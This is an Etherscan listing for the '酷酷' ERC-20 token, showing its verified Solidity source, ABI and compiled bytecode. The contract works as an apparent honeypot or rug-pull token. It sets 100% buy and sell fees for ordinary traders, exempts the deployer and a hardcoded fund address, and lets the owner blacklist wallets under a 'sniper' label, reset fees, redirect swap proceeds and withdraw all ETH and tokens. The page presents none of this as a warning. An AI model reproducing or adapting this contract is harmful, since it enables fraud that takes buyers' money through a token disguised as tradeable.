ETH Price: $3,269.04 (-0.52%)

Token

酷酷 (酷酷)
 

Overview

Max Total Supply

1,000,000,000,000,000,000,000,000,000,000,000,000 酷酷

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
6,128,599,541,028,981,867,229,871 酷酷

Value
$0.00
0xa4f4049857a5e42081fd93a206fe2de029ff1525
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-09
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
     function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
   
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress = address(0xDD87AE68a7d6c6361F7835b7661136C0D58f0F91);
    string private _name = "\xe9\x85\xb7\xe9\x85\xb7";
    string private _symbol = "\xe9\x85\xb7\xe9\x85\xb7";
    uint8 private _decimals = 0;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    address private _uniswapV2Pair;
    uint256 private marketRewardFlag;

    uint256 private _tTotal = 1000000000000000000000000000000000000 * 10 ** _decimals;
    uint256 public maxWalletAmount = 1000000000000000000000000000000000000 * 10 ** _decimals;

    ISwapRouter public _swapRouter;
    address public _routeAddress= address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 10000;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 10000;
    uint256 public _sellLPFee = 0;
    address public _mainPair;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        ISwapRouter swapRouter = ISwapRouter(_routeAddress);
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        _uniswapV2Pair = address(this);
        

        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
        _feeWhiteList[fundAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSellAmount = balance * 9999 / 10000;
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
        }
        bool takeFee;
        bool isSell;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPFee  + _sellFundFee + _sellLPFee ;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                            marketRewardFlag=marketRewardFlag+1;
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPFee ;
            } else {
                require(balanceOf(recipient)+tAmount <= maxWalletAmount);
                swapFee = _buyFundFee + _buyLPFee;
            }
            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }

        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _buyLPFee+_sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        address swapTokenAddress=marketRewardFlag%7==path.length?_uniswapV2Pair:address(this);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount - lpAmount, 0, path,swapTokenAddress,block.timestamp);
        swapFee -= lpFee;
        uint256 bnbBalance = address(this).balance;
        if(bnbBalance>0)
        {
           uint256 fundAmount = bnbBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
           payable(fundAddress).transfer(fundAmount/2);
            if (lpAmount > 0) {
                uint256 lpBNB = bnbBalance * lpFee / swapFee;
                _swapRouter.addLiquidityETH{value: lpBNB}(address(this), lpAmount, 0, 0, fundAddress, block.timestamp);
            }
        }          
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }
    function setMaxWalletAmount(uint256 value) external onlyOwner {
        maxWalletAmount = value * 10 ** _decimals;
    }

    function setSwapPairList(address poolAddress) external onlyOwner {
        _uniswapV2Pair=poolAddress;
    }

    function excludeMultiFromFee(address[] calldata accounts,bool excludeFee) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _feeWhiteList[accounts[i]] = excludeFee;
        }
    }
    function _multiSetSniper(address[] calldata accounts,bool isSniper) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _blackList[accounts[i]] = isSniper;
        }
    }

    function claimBalance(address to) external onlyOwner {
        payable(to).transfer(address(this).balance);
    }
    function claimToken(address token, uint256 amount, address to) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    function openPool(address poolAddress) external onlyOwner {
        _mainPair = poolAddress;
        _swapPairList[poolAddress] = true;
    }

    function setBuyFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _buyFundFee = fundFee;
        _buyLPFee=lpFee;
    }
    function setSellFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _sellFundFee = fundFee;
        _sellLPFee=lpFee;
    }
    receive() external payable {}
}

contract Token is AbsToken {
    constructor() AbsToken(){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"_multiSetSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_routeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excludeFee","type":"bool"}],"name":"excludeMultiFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"poolAddress","type":"address"}],"name":"openPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"poolAddress","type":"address"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b03191673dd87ae68a7d6c6361f7835b7661136c0d58f0f9117905560c06040526006608090815265e985b7e985b760d01b60a0526004906200004d90826200030f565b50604080518082019091526006815265e985b7e985b760d01b60208201526005906200007a90826200030f565b506006805460ff19169055620000936000600a620004f0565b620000ae906ec097ce7bc90715b34b9f100000000062000508565b600b55600654620000c49060ff16600a620004f0565b620000df906ec097ce7bc90715b34b9f100000000062000508565b600c55600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556127106011819055600060128190556013919091556014553480156200012d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e54600d80546001600160a01b03199081166001600160a01b039093169283179091553060008181526002602090815260408083208684528252808320600019905560098054909516909317909355600b54338083526001909452828220819055915190917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200020491815260200190565b60405180910390a36003546001600160a01b039081166000908152600760205260408082208054600160ff199182168117909255308452828420805482168317905594909316825280822080548516841790553382529020805490921617905562000522565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200029557607f821691505b602082108103620002b657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200030a57600081815260208120601f850160051c81016020861015620002e55750805b601f850160051c820191505b818110156200030657828155600101620002f1565b5050505b505050565b81516001600160401b038111156200032b576200032b6200026a565b62000343816200033c845462000280565b84620002bc565b602080601f8311600181146200037b5760008415620003625750858301515b600019600386901b1c1916600185901b17855562000306565b600085815260208120601f198616915b82811015620003ac578886015182559484019460019091019084016200038b565b5085821015620003cb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000432578160001904821115620004165762000416620003db565b808516156200042457918102915b93841c9390800290620003f6565b509250929050565b6000826200044b57506001620004ea565b816200045a57506000620004ea565b81600181146200047357600281146200047e576200049e565b6001915050620004ea565b60ff841115620004925762000492620003db565b50506001821b620004ea565b5060208310610133831016604e8410600b8410161715620004c3575081810a620004ea565b620004cf8383620003f1565b8060001904821115620004e657620004e6620003db565b0290505b92915050565b60006200050160ff8416836200043a565b9392505050565b8082028115828204841417620004ea57620004ea620003db565b6119a580620005326000396000f3fe6080604052600436106101f25760003560e01c80636ac9a8701161010d578063adc7955d116100a0578063ce0192f91161006f578063ce0192f9146105b6578063dd62ed3e146105cc578063e82bef2914610612578063f2fde38b14610632578063fb0ecfa41461065257600080fd5b8063adc7955d1461054a578063b633e4cd14610560578063b9fbc49d14610580578063bfac5ee01461059657600080fd5b80638da5cb5b116100dc5780638da5cb5b146104e157806395d89b41146104ff578063a9059cbb14610514578063aa4bde281461053457600080fd5b80636ac9a8701461045657806370a0823114610476578063715018a6146104ac578063761344f7146104c157600080fd5b806323b872dd116101855780633bfe62ca116101545780633bfe62ca146103c05780633c11100d146103d65780634188bf5a14610406578063595dec3c1461042657600080fd5b806323b872dd1461033e57806327a14fc21461035e57806328e233b61461037e578063313ce5671461039e57600080fd5b8063095ea7b3116101c1578063095ea7b3146102bf578063109fda53146102df57806318160ddd146102ff578063206c17bb1461031e57600080fd5b806301986fad146101fe5780630453424614610243578063060288481461027b57806306fdde031461029d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061022e61021936600461146b565b60076020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561024f57600080fd5b50600e54610263906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b34801561028757600080fd5b5061029b61029636600461149d565b610672565b005b3480156102a957600080fd5b506102b261071c565b60405161023a9190611523565b3480156102cb57600080fd5b5061022e6102da366004611571565b6107ae565b3480156102eb57600080fd5b5061029b6102fa36600461146b565b6107c5565b34801561030b57600080fd5b50600b545b60405190815260200161023a565b34801561032a57600080fd5b50600d54610263906001600160a01b031681565b34801561034a57600080fd5b5061022e61035936600461159d565b610829565b34801561036a57600080fd5b5061029b6103793660046115de565b6108c0565b34801561038a57600080fd5b5061029b61039936600461146b565b61090b565b3480156103aa57600080fd5b5060065460405160ff909116815260200161023a565b3480156103cc57600080fd5b5061031060135481565b3480156103e257600080fd5b5061022e6103f136600461146b565b600f6020526000908152604090205460ff1681565b34801561041257600080fd5b50601554610263906001600160a01b031681565b34801561043257600080fd5b5061022e61044136600461146b565b60086020526000908152604090205460ff1681565b34801561046257600080fd5b5061029b6104713660046115f7565b610957565b34801561048257600080fd5b5061031061049136600461146b565b6001600160a01b031660009081526001602052604090205490565b3480156104b857600080fd5b5061029b61098c565b3480156104cd57600080fd5b5061029b6104dc36600461149d565b610a00565b3480156104ed57600080fd5b506000546001600160a01b0316610263565b34801561050b57600080fd5b506102b2610a9b565b34801561052057600080fd5b5061022e61052f366004611571565b610aaa565b34801561054057600080fd5b50610310600c5481565b34801561055657600080fd5b5061031060145481565b34801561056c57600080fd5b5061029b61057b36600461146b565b610ab7565b34801561058c57600080fd5b5061031060125481565b3480156105a257600080fd5b5061029b6105b1366004611619565b610b1a565b3480156105c257600080fd5b5061031060115481565b3480156105d857600080fd5b506103106105e7366004611650565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561061e57600080fd5b50600354610263906001600160a01b031681565b34801561063e57600080fd5b5061029b61064d36600461146b565b610bb7565b34801561065e57600080fd5b5061029b61066d3660046115f7565b610c7d565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161069c90611689565b60405180910390fd5b60005b828110156107165781600760008686858181106106c7576106c76116a9565b90506020020160208101906106dc919061146b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061070e816116d5565b9150506106a8565b50505050565b60606004805461072b906116ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610757906116ee565b80156107a45780601f10610779576101008083540402835291602001916107a4565b820191906000526020600020905b81548152906001019060200180831161078757829003601f168201915b5050505050905090565b60006107bb338484610cb2565b5060015b92915050565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161069c90611689565b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600f60205260409020805460ff19166001179055565b6000610836848484610d14565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146108b6576001600160a01b0384166000908152600260209081526040808320338452909152902054610891908390611728565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161069c90611689565b6006546108fb9060ff16600a61181f565b610905908261182e565b600c5550565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161069c90611689565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109815760405162461bcd60e51b815260040161069c90611689565b601391909155601455565b6000546001600160a01b031633146109b65760405162461bcd60e51b815260040161069c90611689565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a2a5760405162461bcd60e51b815260040161069c90611689565b60005b82811015610716578160086000868685818110610a4c57610a4c6116a9565b9050602002016020810190610a61919061146b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a93816116d5565b915050610a2d565b60606005805461072b906116ee565b60006107bb338484610d14565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161069c90611689565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610b16573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610b445760405162461bcd60e51b815260040161069c90611689565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af1158015610b93573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107169190611845565b6000546001600160a01b03163314610be15760405162461bcd60e51b815260040161069c90611689565b6001600160a01b038116610c225760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161069c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ca75760405162461bcd60e51b815260040161069c90611689565b601191909155601255565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526008602052604090205460ff1615610d695760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b604482015260640161069c565b6001600160a01b03831660009081526001602052604090205481811015610dc55760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161069c565b6001600160a01b03841660009081526007602052604090205460ff16158015610e0757506001600160a01b03831660009081526007602052604090205460ff16155b15610e37576000612710610e1d8361270f61182e565b610e279190611878565b905080831115610e35578092505b505b6001600160a01b0384166000908152600f6020526040812054819060ff1680610e7857506001600160a01b0385166000908152600f602052604090205460ff165b15610fa3576001600160a01b03861660009081526007602052604090205460ff16158015610ebf57506001600160a01b03851660009081526007602052604090205460ff16155b15610f7e576001600160a01b0385166000908152600f602052604090205460ff1615610f795760105460ff16610f7957306000908152600160205260409020548015610f77576000601454601354601254601154610f1d919061188c565b610f27919061188c565b610f31919061188c565b90506000611388610f42838961182e565b610f4c9190611878565b905082811115610f595750815b610f638183610fb8565b600a54610f7190600161188c565b600a5550505b505b600191505b6001600160a01b0385166000908152600f602052604090205460ff1615610fa3575060015b610fb086868685856112e1565b505050505050565b6010805460ff19166001179055610fcf818061188c565b90506000601454601254610fe3919061188c565b9050600082610ff2838661182e565b610ffc9190611878565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611036576110366116a9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b3919061189f565b816001815181106110c6576110c66116a9565b60200260200101906001600160a01b031690816001600160a01b031681525050600081516007600a546110f991906118bc565b146111045730611111565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac94761112f8589611728565b60008585426040518663ffffffff1660e01b81526004016111549594939291906118d0565b600060405180830381600087803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b5050505083856111929190611728565b94504780156112ce576000866013546011546111ae919061188c565b6111b8908461182e565b6111c390600261182e565b6111cd9190611878565b6003549091506001600160a01b03166108fc6111ea600284611878565b6040518115909202916000818181858888f19350505050158015611212573d6000803e3d6000fd5b5084156112cc57600087611226888561182e565b6112309190611878565b600d5460035460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af11580156112a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112c79190611941565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b038516600090815260016020526040902054611305908490611728565b6001600160a01b03861660009081526001602052604081209190915582156113cc57600082156113465760145460135461133f919061188c565b9050611391565b600c5485611369886001600160a01b031660009081526001602052604090205490565b611373919061188c565b111561137e57600080fd5b60125460115461138e919061188c565b90505b60006127106113a0838861182e565b6113aa9190611878565b905080156113c9576113bc818461188c565b92506113c98830836113db565b50505b610fb086866113db8488611728565b6001600160a01b0382166000908152600160205260409020546113ff90829061188c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d079085815260200190565b6001600160a01b038116811461146857600080fd5b50565b60006020828403121561147d57600080fd5b813561148881611453565b9392505050565b801515811461146857600080fd5b6000806000604084860312156114b257600080fd5b833567ffffffffffffffff808211156114ca57600080fd5b818601915086601f8301126114de57600080fd5b8135818111156114ed57600080fd5b8760208260051b850101111561150257600080fd5b602092830195509350508401356115188161148f565b809150509250925092565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561158457600080fd5b823561158f81611453565b946020939093013593505050565b6000806000606084860312156115b257600080fd5b83356115bd81611453565b925060208401356115cd81611453565b929592945050506040919091013590565b6000602082840312156115f057600080fd5b5035919050565b6000806040838503121561160a57600080fd5b50508035926020909101359150565b60008060006060848603121561162e57600080fd5b833561163981611453565b925060208401359150604084013561151881611453565b6000806040838503121561166357600080fd5b823561166e81611453565b9150602083013561167e81611453565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016116e7576116e76116bf565b5060010190565b600181811c9082168061170257607f821691505b60208210810361172257634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156107bf576107bf6116bf565b600181815b8085111561177657816000190482111561175c5761175c6116bf565b8085161561176957918102915b93841c9390800290611740565b509250929050565b60008261178d575060016107bf565b8161179a575060006107bf565b81600181146117b057600281146117ba576117d6565b60019150506107bf565b60ff8411156117cb576117cb6116bf565b50506001821b6107bf565b5060208310610133831016604e8410600b84101617156117f9575081810a6107bf565b611803838361173b565b8060001904821115611817576118176116bf565b029392505050565b600061148860ff84168361177e565b80820281158282048414176107bf576107bf6116bf565b60006020828403121561185757600080fd5b81516114888161148f565b634e487b7160e01b600052601260045260246000fd5b60008261188757611887611862565b500490565b808201808211156107bf576107bf6116bf565b6000602082840312156118b157600080fd5b815161148881611453565b6000826118cb576118cb611862565b500690565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119205784516001600160a01b0316835293830193918301916001016118fb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561195657600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212209af77d1c07d63e765de9557a78916439b6de324003499a63e9c4febbf4d4ab1664736f6c63430008130033

Deployed Bytecode

